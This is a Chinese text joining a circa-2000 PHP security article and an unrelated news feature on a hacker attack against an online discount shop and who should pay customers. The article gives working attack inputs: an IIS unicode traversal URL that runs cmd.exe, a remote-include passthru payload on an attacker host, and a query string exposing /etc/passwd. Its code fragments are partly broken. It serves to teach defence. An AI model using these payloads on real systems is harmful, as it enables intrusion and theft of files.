一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。
但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。
[远程文件]
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好 的例子:
if (!($fd = fopen(“$filename”, “r”))
echo(“Could not open file: $filename
\n”);
?>
上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。
例如:
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。
这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。
例如:
include($libdir . “/languages.php”);
?>
上例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:
passthru(“/bin/ls /etc”);
?>
然后把“$libdir”设置为“http://
需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt。
[文件上载]
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:
上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。
这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。
但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:
$hello = Filename on local machine (e.g “/tmp/phpxXuoXG”)
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g “c:\\temp\\hello.txt”)
$hello_type = Mime type of uploaded file (e.g “text/plain”)
然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):
$hello = “/etc/passwd”
$hello_size = 10240
$hello_type = “text/plain”
$hello_name = “hello.txt”
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。
我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include(“$theme”);
?>
如果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。
|
张 岩《电子计算机与外部设备》 2000.10 |
|
网站遭遇黑客攻击,消费者损失谁来赔偿?黑客进攻防不胜防,网络安全成本由谁支付?网站该不该对黑客攻霹行为负责?以“黑”治“黑”真能奏效么?我们,是否正在进入黑客的第二次“黄金时代”? 7月22日,星期六。八佰拜(http://www.800huy.com..cn)网上折扣店的倒置式竞买(1小时之内无人购买,价格自动降低100元,直至有人下单竞买成功)手机专场聚集了大量喜欢紧张刺激竞买感受的网民,一部底价3060元的诺基亚8210手机将竞买者们牢牢“拴在”鼠标和键盘旁边。然而,令竞买者无法理解与接受的是,在近8个小时的竞买活动,这部诺基亚8210虽一路下跌至1760元,却没有一张订单可以将其买下。彼时,该款手机已聚集起8000余名竞买者,不少网友已在网上守侯了6.7个小时,于是当竞拍活动“无果而终”时,强烈的“被涮感觉”在网民中间油然而生,愤怒的网友将声讨八佰拜“欺骗行径”的帖子贴满网站BBS,一些网友甚至通过email,将他们的气愤发送给京城有影响的媒体。 随着媒体的对“网民遭涮”事件的曝光,眼看将成为众矢之的的八佰拜紧急召集新闻发布,称:八佰拜遭遇黑客袭击! 据该公司介绍,7月22日早10:58分到下午15:58分,不断有人对诺基亚8210下虚假订单,即而,客户开始无法正常下单,经技术人员检测发现,网站服务器已遭黑客攻击。屋漏偏逢连阴雨,此时,ISP提供的DDN专线又突发问题,致使服务器无法正常连接。为避免网友无限期等待,晚11时半,八佰拜撤消了已无法正常进行的手机竞买。 为平息“黑客事件”给网站声誉造成的不良影响,7月29日,八佰拜推出“8210补拍行动”,拿出5部诺基亚8210,并以黑客事件的结束价——1760元起拍…… 网站:对“黑客行为”负责? 至此,八佰拜“被黑事件”看似已划上句号,然而,如果我们换一个角度,从更深、更广层面上检视“消费者消费过程中的网站被黑问题”,则不难发现,八佰拜事件不过只是此类问题的起始与发端。 如果我们确认我们已经进入互联网时代, 如果我们认可电子商务将成为未来商业模式的主导,如果我们不否认“物理世界”的一切都将在网络世界里得到“映射”,则我们就不得不承认,黑客事件将伴随互联网商业成长的始终。 作为网站,无疑的,八佰拜是“黑客事件”的受害者,作为受害者之一,它应否对消费者因黑客捣乱造成的损失进行赔偿?如果应赔偿,如何界定赔偿金额与赔偿责任?如果不应赔偿,消费者损失又该如何弥补?“补拍行动”能算一种充分“赔偿”么?如果不算,八佰拜应该赔多少,怎么赔?从法理上讲,除非遭遇台风、地震、冰雹等不可抗力,商家对于消费者的消费损失,均应承担赔偿责任,那么,“黑客行为”能否算作一种“不可抗力”? 对于这些问题,不同人群给出的答案各不相同。 采访中,对于应否对黑客入侵给客户造成的损害负责,网站的态度基本上可分为3类——不予置评、理应免责和适当赔付。 “不予置评”类对可能发生的黑客攻击行为表现出“强烈敏感”,包括数家著名电子商务网站在内的一些网络公司对于记者提问的第一反应是“不发表意见”,原因是不愿刺激黑客“进攻心理”,以免成为其下一轮攻击目标。 “理应免责”类主张,黑客行为理论上讲虽不属不可抗力,却在实质上具有与台风、地震等自然力相仿的不可抗性质。“黑客责任”理应由黑客自己承担,而对黑客行径实施惩治,无疑则是国家公检法机构的任务。“理应免责派”认为,即使退一步讲,黑客行为至少也应划归可敬儿免责的意外事件之列,比如顾客到商场买东西遭遇扒窃,商场就不必为顾客丢东西的损失负责。 “适当赔付”类认为,虽然黑客事件并不属于不可抗力,网站也确实承担有保障消费者安全消费的义务,但在电子商务发展初级阶段的今天,若强制要求网站承担消费者损失的“完全赔偿责任”,则不仅是对网站的不公平,而且甚至会遏制电子商务的健康发展。“适当赔付”观点同时认为,与物理社会防范犯罪不能仅仅依靠百姓与商家的戒备与警惕一样,防范黑客也不能仅仅依靠网站对于安全问题的重视以及防火墙产品本身的威力,真正的防御应该来自于社会司法体系的强大震慑。按照“适当赔付”观点,八佰拜的后续补拍行为已属相当负责。 作为此次“黑客事件”的主角,八佰拜本身是“适当赔付”观点的拥护者。“从理论上讲,我们有义务为消费者提供一个安全放心的网络购物环境,并理应对消费者损失进行适当补偿。”该公司电子商务部总经理赵为民说,“至于讲‘补拍’作为一种补偿形式是否到位,我想,从‘充分度’上考虑,可能确实不够到位,但究竟怎么作才算到位,恐怕也没有人能够给出一个明确的说法,一切尚有赖于电子商务法的出台。” 至于浪费掉的网费和上网时间,赵为民认为,应该将其视作一种必须支付的网上消费成本,就像在物理购物环境,我们需要花费往返车费与选购时间一样。 “宽容”还是“不宽容”? 的确,在经历了年初以来一系列强力黑客攻击事件以后,地球上已没有哪家网站敢于宣称自家的安全防御系统面对黑客攻击可以作到天衣无缝。而面对互联网商务发展初期的种种失误乃至过失,消费者的态度往往也相当宽容,虽然雅虎、美国在线、亚马逊、eBay等频频遭遇黑客袭击,但迄今为止,没有一家网站被要求对消费者的损失进行赔付。即使“隐私诉讼”正在成为互联网消费讼争的新焦点,却没有谁要求美国在线为6月中旬黑客入侵事件导致的客户“隐私资料”失窃负责,那次事件中,数百用户资料遭窃,而直至有人在网络上将此次事件公之于众,这间拥有2300万用户的全球最大的互联网企业才“意识”到网站遭袭,并开始着手进行调查。 然而,“宽容”果真应该是消费社会面对黑客问题与黑客现象所应表现的最佳姿态么?作为消费者,我们应否以及应该在多大程度上对于黑客问题殿示我们的“宽宏大量”?或者,我们是否应该因“全球皆无赔付先例”,就放弃追索我们的权益? 事实上,稍加思索就不难发现,人们对网站防御机制的“宽容”本身正是互联网经济仍处于“试验性”阶段的证明。只有当网站作为一种商业形态尚无法像物理商店那样在普通人的日常生活里不可或缺时,人们才愿意体现面对新生事物所经常体现的那种“宽宏”与“呵护”。然而,“呵护”过度就是“娇纵”,对于互联网商业的健康发展,值得担心的不仅有我们的苛严,而且有我们的宽容。 假如8000网民同时“成交” “中消协”专家志愿者武高汉将消费者因网站被袭遭受损失却得不到赔付比喻为“商店遭遇打动却要求顾客共同承担损失”。很显然,在真正成熟的商业环境里,没有人愿意承担如此巨大的“消费风险”。 虽然没有消费者要求八佰拜作进一步赔付,但武高汉认为,作为一种赔偿方式,八佰拜“的补拍行动”远远不够“到位”。因为在8小时的若若等中,消费者损失的不仅是网费、时间与精力,而且还有因8210每小时降价百元的“虚假惊喜”所造成的精神损失。 武高汉认为,从理论上讲,8000网民都有要求网站赔偿的权力,因此“补拍”赔偿从绝对值上就不够。同时,由于八佰拜并没有将“补拍”受益者限定在8000网民之内,获益者也并不一定就是受损者。武高汉并且认为,八佰拜应对此次“黑客事件”的反应也不够及时得当,比如直至拍卖停止,竞拍者对于网站遭遇黑客攻击都处于完全不知情状态,而事实上,八佰拜是完全“有能力” 及时通告网民,以使其避免进一步的网费及上网时间损失的。 武高汉甚至认为,从理论上讲,不具备抵御黑客攻击的能力,也就等于不具备从事网上经营活动的资格。“由于自身能力不足造成的交易损失与交易失败,责任不该由消费者来负。”武高汉说,“因此,如果此次黑客事件的结果不是网民无法下单,而是8000单全部成交,理论上讲,八佰拜就必须‘拍给’网民8000部手机。” 公安部11局法规处副处长唐先临等政策法律界专家也认为,黑客行为是可以预见、预防和抵御的,网站有保证消费者安全交易的义务,防范黑客攻击亦是网站经营者的责任。不过,唐先临以及中科院软件所信息安全技术中心主任卿斯汉等也同时认为,在电子商务处于雏形阶段,被认为具有划时代意义的全球首都《电子签名法》刚刚在美获得通过,电子证据的采集与认定尚缺乏统一标准的今天,要求网站承担黑客攻击给消费者造成损失的全部责任也不公平。消费者有必要树立适当的网上消费风险意识,而网站则应该打出类似“吸烟有害健康”、“股市有险”的警示条款,将交易风险明示给消费者。 据了解,截至“黑客事件”发生时止,八佰拜网站交易条款中尚没有此类警示性内容。 无形的手 黑客攻击对网站商誉的影响与损害究竟有多大?来自美国权威机构的一组调查统计数据表明,出于对安全问题的担心,61%的互联网冲浪者不愿上网购物,而在有过网上购物经历的人群中,90%对消费安全不放心。2000年,黑客攻击及电脑病毒给美国企业造成的损失截目前已超过2660亿美元,相当于美国国民生产总值(GDP)的2.5%。 市场“无形的手”已在发挥作用。如果在一家餐馆就餐遭遇打劫,你很可能不会第二次迈入同一家餐馆,如果打劫在这家餐馆是常事,那么该餐馆肯定逃不脱很快倒闭的命运,而如果顾客遭打劫是整个餐饮业的普遍现象,那么整个餐饮业都会萧条下去,因为除非为了“体会冒险和刺激”,没有人会“傻到”愿意去餐馆进餐。 现在的问题是,作为餐馆,应该如何面对“劫盗”横行现象? 安全成本——谁来支付? 今天,我们已经对机场安检习以为常,习惯于在手持警棍的银行保安和实时监控摄像头的“注视”下从坐在金属防护栏后面的银行职员手里提款或者存钱,习惯于看到“荷枪实弹的”运钞车停在银行或者储蓄所门前…… 商业安全需要建设成本,但问题是,同样作为商业机构,餐馆是否需要花费和机场、银行同样高昂的安全建设成本?在花费了如此高昂的成本之后,“劫盗”现象能否被真正杜绝?安全成本过高,是否会同样导致餐馆经营难以为继?并且,顾客的就餐安全,果真是餐馆依靠强化安全保卫措施就能够解决的么? 很显然,我们都知道,在“物理世界”里,商店与餐馆的安全消费环境主要建立在社会治安保障机制之上,作为纳税人,国家有责任保卫我们安居生活的权力,换言之,我们或者可以说,进餐馆就餐的安全成本是我们自己出钱支付的,虽然,我们仍然需要机场和银行“为我们支付”相对高昂的安全建设成本。 那么,在网络中呢? “的确,就像‘物理世界’一样,保卫公民网络生活的安全也是国家相关职能部门的责任。”公安部11局法规处副处长唐先临说,“网络环境的安全就是信息时代的社会安全,预防与打击黑客犯罪正是网络社会治安的一部分。” 据唐先临介绍,1999年,仅经由僵公安系统接警处理的“涉计算机网络犯罪”既多达近千起,增长速度高得惊人,而相形之下,我们的防御技术与人员素质都开始显出“捉襟见肘”。 事实上,更加令“网络治安”捉襟见肘的是“网络无国界”的特性。黑客攻击可以从地球上任何一个角落发出,如何抓捕?如何量刑?如何定罪?适用哪个国家的法律?给全球互联网造成巨大损失的“爱虫”病毒释放者最终被菲律宾警方释放,而原因是在“爱虫”发作的时候,该国尚没有制定出惩治黑客犯罪的相关法律。 网络犯罪已经完全超越了国界,但我们却尚没有一个全球性的法律体系和法律框架作为支撑。已经有人提出“在网络疆土上重新划定我们的网络疆界”,是继续保持“物理世界”中的“国家原则”与“国家心态”,还是建立一个网络的大同世界?我们必须作出抉择。 “反黑”专家、中科院“黑客入侵防范”课题组组长许榕生研究员受公安部委托所进行的一系列测试结果表明,我国95%的网络系统随时可能被攻破。另外一项专业调查结果亦显示,国内90%的电子商务网站存在安全隐患,其中40%隐患严重,网络数据可以为黑客随意篡改。八佰拜网站电子商务部总经理赵为民也告诉记者,八佰拜其实经常遭遇黑客捣乱,比如商品剩余数被改为“-2”,而尚未开拍的货品会莫名其妙地开始自动降价。 商业网站究竟应该花费多高的成本进行安全建设?按照赵为民的说法,像八佰拜这样规模与流量的网站,要想建成“接近完善”的安全防护系统,至少需要花费上百万美元,言外之意:如此高昂的建设成本足以令八佰拜破产。 那么,“黑客保险”是不是一条中间道路呢?也许!至少在美国,这种崭新的保险形式看上去很时髦,前景很好。 |